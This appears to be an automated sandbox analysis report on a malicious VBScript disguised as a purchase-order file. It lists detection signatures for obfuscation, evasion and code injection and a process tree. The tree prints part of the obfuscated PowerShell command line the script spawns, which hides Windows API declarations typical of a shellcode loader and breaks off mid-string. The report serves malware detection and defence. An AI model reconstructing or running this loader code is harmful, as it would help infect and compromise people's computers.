Edit tour
Windows
Analysis Report
SIEM_PO00938467648.vbs
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Sigma detected: Dot net compiler compiles file from suspicious location
VBScript performs obfuscated calls to suspicious functions
Antivirus detection for URL or domain
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Very long command line found
Potential evasive VBS script found (use of timer() function in loop)
Obfuscated command line found
Machine Learning detection for dropped file
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Classification
- System is w10x64
- wscript.exe (PID: 8 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\SIEM_ PO00938467 648.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C) - cmd.exe (PID: 2976 cmdline:
CMD.EXE /c echo C:\W indows MD5: 4E2ACF4F8A396486AB4268C94A6A245F) - conhost.exe (PID: 1516 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) - powershell.exe (PID: 2528 cmdline:
C:\Windows \syswow64\ WindowsPow erShell\v1 .0\powersh ell.exe" " $Biliate = """LaABrd GedGa-StTD iyCopsteUn St-UdThoy AupepeWrDR eeTrfPaiUs nUmiRetCoi MaoFrnSv S m'ReuSksUn iFunCogKn ToSPhyPrsJ atNueSimst ;viuSmsPri SknangIm P rSPlyEusGr tgueoemFo. ReRPuuConH utSoiFrmFr eIl.JoIFon SntSneLurC ooPapJaSTr eRerElvKui ticReeFesB r;AmpUpuKo bsnlVoiDec Aw sasRutR hajetaaiTe cSv BrcEsl FoaUnsVasL e EbTInuBa eBaiOurCeo KonPr1Ci S h{Ti[PhDAf lUllBuIMim HapMaoAfrE utAn(ad`"" "InuLusKie KarMe3Br2S i`"""Rr)Ri ]GopMauFlb StlMeiTycS a AesKatIn aHjtSmiSvc Ne SteHoxa ttImeTerOp nNa GriBen BrtNo YdDM ieResTotEn rBroStyOvC spaMerMieC otKl(sn)Me ;Sm[AfDEpl LulReIenmF lpRdoHarEg tBr(Ov`""" MigAldMeiP l3In2Er`"" "Te)Ce]tap EuuDrbCulM aiHjcAs Lg sUdtTraBrt SqiercCo V ieBexTetVe etrrHrnMa FoiBanArtH a StSBrcUd aGrlLaeSkW TeiScnSudR eoBuwCrEVe xChtstESux Kn(NoiFinK utSe MoDLn rIgiBefRat Pl,ReiAnnA ltJu BeAUd mAmbMiuPal HeaAp,DiiF onKntSp ju BpraSesVao Qu,MaiLenI mtBa NoiAf aDagVrtPot SyaOv,ChiG enpltRe di VSaeTvjSim boaSotAn1U n5Fr8Ud,Gi iTinSttEr YeMSucSlgK urSk)Eg;Ak [KuDDilBul ImIRdmAmpA noVarPrtFr (Sk`"""Svk SqeRorpinF leRelPa3Ov 2as`"""Tr) Wo]hepMeuR obBalFriLu cRe HysMit FoaUntTaiT mcJa aneDe xMitKueSar BlnOi ReiF anSutov dr HDeeStaBap BlSBeiSpzB aeKo(StiUn nDitOu YcP KerBroUrpR e,PhiSonxa tCl AiANod StrCheFosO v,ViiDenJu tDi MuTImo WerArtInrf riPo)Mo;Co [SlDOplSal SpIApmunpR eoSjrRotKo (wh`"""Jgs SchdieBilS hlko3Ge2re .VadUflOml Un`"""St)U n]BepPauSl bOslBeiUnc As MasMntS yaLetFriTr cpr NoeVix RatFoeRerW enun SevEn ofuiTrdRh PaDterFlaF igMeFCiiEn nStiKasBeh Mi(EsiBonS utPo OpOMu mPldSerGe) Ba;Ej[SpDF alBelMeILi mhepFroUdr GutAu(Je`" ""mawSkifa nTemNumIn. ApdKolBolF l`"""Fu)Ho ]ScpOvuPrb MdlViiAlcB a BosSatAs aHotLiiFoc Si VeeNoxL utHaeBirJe nLa Hoienn NatGu Armt jiHoxSceDa rTrGSwejot CoDTreFivS uCKeaMipqu sSu(SkiBln CitCh BeNP riBrtSerUd ,UditinCot Jo VaFaseE wlOb,Thivi nQutEo NoA PhfAfsXi9I m3Bl)Ta;Ls [ChDCulCal HaIPumCipI coFarRetSl (Be`"""Rek GleTrrhinA teSilEk3Sa 2ur`"""Ti) De]PapFeuD rbFolOpiLk cTn BusAbt SyaUdtMeiS ocfr CoeIm xFatMoeFrr nanto triM enTotAl Ka LUdoEscAsk QuRosepasp hoOvuForJu cApeph(Roi AfnCotTe V eLExeSoiUn )Ir;Un[ReD PilIwlOyIL ammipShoSt rFatCr(Bo` """FlkAueC ervanToeJe lAv3Pl2Re` """Se)Co]U npAnuCobOp lFoilacLa CasrotOpaU ntMuiKacTi WieKnxEnt ReeUdrTrnT r AriPonIn tSl PiVIni StrpetrauA caTilvaATe lBelCloThc Fa(TriStnS otWi GevGr 1Sk,SmiLun ThtOr CavB l2Ne,KeiSt nCotBy Hev dr3pa,HeiG anUptku Sv vCa4In)pr; Py[DrDMalI nlPrIBrmHe pPloKnrPtt ba(Ho`"""C rAUnDBeVAl AToPanICr3 St2Ph.WaDB eLSaLCi`"" "To)Un]Stp TiuRebSylP uiEncFo Co sMotUnaUnt HuiAtcst M eeMixDotOf eAdrInnRo SuvBeoUpiV idTi CiMTr aBipBeGAte OenSleGlrP riBrcCoMFi aUnsAnkVn( SaiSknMetP e PlBInrTr